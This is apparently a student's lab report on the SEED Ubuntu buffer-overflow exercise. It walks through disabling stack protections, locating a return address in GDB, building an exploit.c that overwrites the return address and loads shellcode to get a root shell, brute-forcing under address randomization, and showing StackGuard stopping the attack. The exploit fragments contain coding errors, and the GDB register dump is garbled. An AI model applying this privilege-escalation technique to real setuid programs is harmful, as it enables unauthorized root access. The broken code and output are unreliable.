

Buffer Overflow Attack

Introduction

Memory has sequential blocks of memory in which static and dynamic variables are held. "Buffer overflow" is the overriding of these memory blocks by loading more than the amount of data that can be carried by unbanked memory blocks. Typically, these fields are accessed by copying a lot of characters from one memory area to another. This event causes memory overflow in the system [1].

Aim of the project is taking access of the root of the Seed-Ubuntu OS via buffer over-flow attack and achieving buffer-overflow attack in detail. For that purpose, buffer-overflow related configurations done for first Task1 in Seed-Ubuntu.

Furthermore, in task 1 exploiting the vulnerability, buffer-overflow attack with fixed memory addresses. In task 2 Address Randomization, buffer-overflow attack with randomized memory, and in task 3, Stack Guard, preventing from buffer-overflow attack done.

Configuration

Very initial part of the project is installing Seed-Ubuntu, according to TA's instruction check list Seed-Ubuntu installation successfully achieved on the virtual machine. There is no issue faced while installing and running Seed-Ubuntu on virtual machine.

In the project, first root access taken with below shell command [Figure 1] for disabling the non-executable stack and Stack-Guard protections.

```
$ su root
Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
```

Shell Command [1]: Shell Command

- "stack.c" file was created and filled with code which is given from project description.

- “exploit.c” file was created and filled with appendix code snippet.

```
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
```

Figure [2]: Address Randomization

Above code allows to enable memory randomization [figure 2, 2]. (For closing randomization “space” should be set to “0”)

Project Task 1

Before start...

We take advantage of the “For instance, if the attack code needs to execute “exec(“/bin/sh”)”, and there exists code in libc that executes “exec(arg)” where “arg” is a string pointer argument, then the attacker need only change a pointer to point to “/bin/sh” and jump to the appropriate instructions in the libc library” [7]

GNU GDB debugger was used in this project. This [links](#) shows how to use GNU GDB. GDB debugger a lot helps to solve many issues.

After project configuration and environment setup, in this task exploit.c file edited (Appendix (exploit.c)).

Finding Return Address

Before starting project, return address of the “buf” function. For that purpose, as mentioned GNU – GDB debugger was used for extended use of the GNU – GDB debugger. GDB output and commands were compiled as below shown. “buf” function allows to us do buffer-overflow attack. “strcpy(buffer, str);” in “buf” function allows to inserting malicious code snippet into stack.

“gdb stack” starts GNU-GDB

“break 12” buf function “return 0” line. (break point added here to getting return address of the “buf” function.)

“run” command starts debugging.

Result (figure 3) of the debug shown in next page...

Terminology of the results [3].

- EBP - used to access data on stack
- when this register is used to specify an address, SS is used implicitly [3]
- EIP - program counter (instruction pointer), relative to CS [3]
- ESP - stack pointer, relative to SS [3]

```
Breakpoint 1 at 0x8048ef8: file stack.c,
(gdb) run buffer[25];
Starting program: /home/seed/Desktop/COMP434/stack
strcpy(buffer, str);
Breakpoint 1, bof (str=0x90909090 <Address 0x00000000>) at 0x8048ef8: file stack.c:12:
12: return 1; } char **argv)
(gdb) i r
eax char str[50xbffff118] -1073745
ecx FILE *badfile[0xbffff350] -1073745
edx badfile = 0xbffff311file", -1073745
ebx fread(str, 0x00000001, 517, badfile)
esp bof(str); 0xbffff100 0xbffff100
ebp 0xbffff138 0xbffff138
esi return 1; 0x0 0
edi 0x8049680 13451840
eip 0x8048ef8 0x8048ef8
eflags 0x200202 [ IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
```

According to above terminology, we need to take “ebp” address of the results.

This hexadecimal number “0xbfff138” gives us exactly location. This number will be used in the filling exploit.c code snippet.

Finding Buffer Size

```
stack -fno-stack-protector stack.c -static -ggdb
[03/25/2017 21:54] root@ubuntu:/home/seed/Desktop/COMP434# chmod 4755 stack
[03/25/2017 21:54] root@ubuntu:/home/seed/Desktop/COMP434# exit
exit
[03/25/2017 21:54] seed@ubuntu:~/Desktop/COMP434$ gdb stack
GNU gdb (Ubuntu 7.4-20150824) 7.4-20150824
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://www.gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/seed/Desktop/COMP434/stack...
(gdb) disassemble bof
```

Figure [4]: -static -ggdb usage

Above screenshot (figure 4) “-static -ggdb” allows to detailed debug of the code snippet.

After entering this shell command “gdb stack” to terminal opens GNU-GDB debugger. In debugger typing “disassemble bof” allows to show assembly version of the “bof” method in stack.c.

Left hand side GNU-GDB output shows assembly version of the “bof” method. In this output, 0x38 is allocation size of the buffer size. When we convert it to the decimal it returns us the buffer size which is 56.

```
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://www.gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/seed/Desktop/COMP434/stack...
(gdb) disassemble bof
Dump of assembler code for function bof:
0x08048ee0 <+0>: push %ebp
0x08048ee1 <+1>: mov %esp,%ebp
0x08048ee3 <+3>: sub $0x38,%esp
0x08048ee6 <+6>: mov 0x8(%ebp),%eax
0x08048ee9 <+9>: mov %eax,0x4(%esp)
0x08048eed <+13>: lea -0x20(%ebp),%eax
0x08048ef0 <+16>: mov %eax,(%esp)
0x08048ef3 <+19>: call 0x8048200
0x08048ef8 <+24>: mov $0x1,%eax
0x08048efd <+29>: leave
0x08048efe <+30>: ret
End of assembler dump.
(gdb)
```

Figure[5]-->

0xbfff138 + 56 gives return address of the “buf” where buffer attack held.

Creating “exploit.c”

After finding return address of the “buf” method. We can start implement our exploit.c file. “exploit.c” file’s task is creating content for badfile [2]. Shell code and buffer size already implemented for us.

Starting implementation of the exploit.c file is below code sniped.

```
40      int num = sizeof(buffer) - (sizeof(shellcode) + 1);
```

This code calculates the shortest area to shellcode fit. It increases to correctly work of our shell code probability. In detail, this operation increases no-op amount [6].

Below code allows to make our buffer point out to long type address since our buffer is buffer.

```
41      addrpointer = (long*)(pointer);
```

Then we initialize our return address what we found from GNU-GDB debugger

```
47      return_address = 0xbffff138 + 56;
```

For return address we insert into address pointer with below code.

```
for (count = 0; count < addressLength; count++) /  
*(addrpointer++) = return_address;
```

With the below code we finalize buffer-over flow attack.

```
for(count = 0; count < strlen(shellcode); count++) // Shell load  
buffer[num+count] = shellcode[count];
```

Above code allows to increase hit rate with adding shellcode at the very end of the code.

Compiling and Executing “exploit.c”

Warning! exploit and stack “c” files should be in the same directory.

With gcc -o exploit exploit.c method allows to compile our malicious c code. Then with ./exploit and ./stack buffer-over flow attack work perfectly.

```
[03/25/2017 23:16] seed@ubuntu:~/Desktop/COMP434$ gcc -o exploit exploit.c  
[03/25/2017 23:16] seed@ubuntu:~/Desktop/COMP434$ ./exploit  
[03/25/2017 23:17] seed@ubuntu:~/Desktop/COMP434$ ./stack  
#
```

Project Task 2

In project 2, we kind a use brute force to get root access. First need to go back to configuration part and revisit to Figure 2 related part. And set “space” to “2”.

```
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
```

Figure 2: RECALL

Again reopen terminal and go to directory where your exploit and stack c files present.

Run the below code.

```
>> $ sh -c "while [ 1 ]; do ./stack; done;"
```

Following code depends on try-and error mechanism, while the main method returns 0 this code calls the `./stack` operation. When the program enters our shell it `./stack` is never called and our shell is injected successfully. In the project part 1, I got the shell. And kernel randomization makes it harder to do get root access without any permission with a buffer-overflow attack. Each time our target buffer target address is changing so quickly. And with the not so small probability it increases to 15 – 45 minutes according to computer specs. I tried with my Mac book and finding the right address took 45 minutes, on the other hand with my desktop pc, it took 15 minutes.

Initially, I thought increasing offset which we found with GNU-GDB which is 56 which is minimum number we can assign as an offset of the code, but it did not change anything. I thought increasing offset increase the memory allocation on the stack. Bu it may not related or not.

Task 2 result shown below.

[illegible]

Project Task 3

```
[03/26/2017 01:27] seed@ubuntu:~/Desktop/COMP434$ su root
Password:
[03/26/2017 01:27] root@ubuntu:/home/seed/Desktop/COMP434# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/26/2017 01:28] root@ubuntu:/home/seed/Desktop/COMP434# gcc -o stack -z execstack stack.c -static
gcc: error: unrecognized command line option '-z execstack'
[03/26/2017 01:28] root@ubuntu:/home/seed/Desktop/COMP434# chmod 4755 stack
[03/26/2017 01:28] root@ubuntu:/home/seed/Desktop/COMP434# exit
exit
[03/26/2017 01:28] seed@ubuntu:~/Desktop/COMP434$ gcc -o exploit exploit.c
[03/26/2017 01:28] seed@ubuntu:~/Desktop/COMP434$ ./exploit
[03/26/2017 01:28] seed@ubuntu:~/Desktop/COMP434$ ./stack
*** stack smashing detected ***: ./stack terminated
Segmentation fault (core dumped)
[03/26/2017 01:28] seed@ubuntu:~/Desktop/COMP434$
```

Figure 6: Opening stack protection result.

In this part we reopen stack shield and as a result we unable to access as root via buffer-overflow attack.

As a result you can see buffer-overflow attack no successful.

Conclusion

In this project I learnt basically how to real buffer-overflow works in real environment, I mean experimentally. Buffer overflows are worthy of this level of analysis because they represent a majority of the vulnerabilities, and a significant majority of the problems with the penetration of vulnerabilities. The results of this analysis show that a combination of the StackGuard defense and the non-executable stack defense serves to defeat many contemporary buffer overflow attacks [7]. In our case we unable to access root access reason of the StackGuard.

References

- [1] Buffer Overflow Attack. (n.d.). Retrieved March 25, 2017, from http://www.cse.scu.edu/~tschwarz/coen152_05/Lectures/BufferOverflow.html
- [2] Comp 434/534 - Project 2: Buffer Overflow Attack, Koç University, comp 434 instructor and corresponded teaching assistants. (2017).
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- [4] Using the GNU Compiler Collection (GCC): Return Address. (n.d.). Retrieved March 26, 2017, from <http://gcc.gnu.org/onlinedocs/gcc/Return-Address.html>
- [5] A step-by-step on the computer buffer overflow vulnerability tutorials on Intel x86 processor and C standard function call. (n.d.). Retrieved March 26, 2017, from <http://www.tenouk.com/Bufferoverflowc/Bufferoverflow4.html>
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- [7] Crispin Cowan, Perry Wagle, C. P., & Steve Beattie, and J. W. (n.d.). Attacks and Defenses for the Vulnerability of the Decade*. *Department of Computer Science and Engineering Oregon Graduate Institute of Science & Technology***. Retrieved from https://web.archive.org/web/20130309083252/http://tmp-www.cpe.ku.ac.th/~mcs/courses/2005_02/214573/papers/buffer_overflows.pdf

EXTRA: This project was brain-stormed with Mert Kıray who also takes this course. We discussed project stack architecture part together. And for the better understanding doing research on the web together.

Appendix (exploit.c)

```
int count, addressLength;

char *pointer;

long *addrpointer;

long return_address;

pointer = buffer;

int num = sizeof(buffer) - (sizeof(shellcode) + 1);

addrpointer = (long*) (pointer);

// return_address were founded from GNU. GDB.

// +56 is the optimization requirements...

// Check more info from report...

return_address = 0xbffff138 + 56;

// Above code >> This adress may optimized for fater result in adress_ranominazation...

address_Length = strlen(return_address); // Adress length to copy...

// Return adress size is 10 bit.

for (count = 0; count < address_Length; count++) // Return adress load...
```

```
*(addrpointer++) =return_address;
```

```
// We add shell code at end of the code, for the increasing hit rate.
```

```
for(count = 0; count < strlen(shellcode); count++) // Shell load
```

```
buffer[num+count] = shellcode[count];
```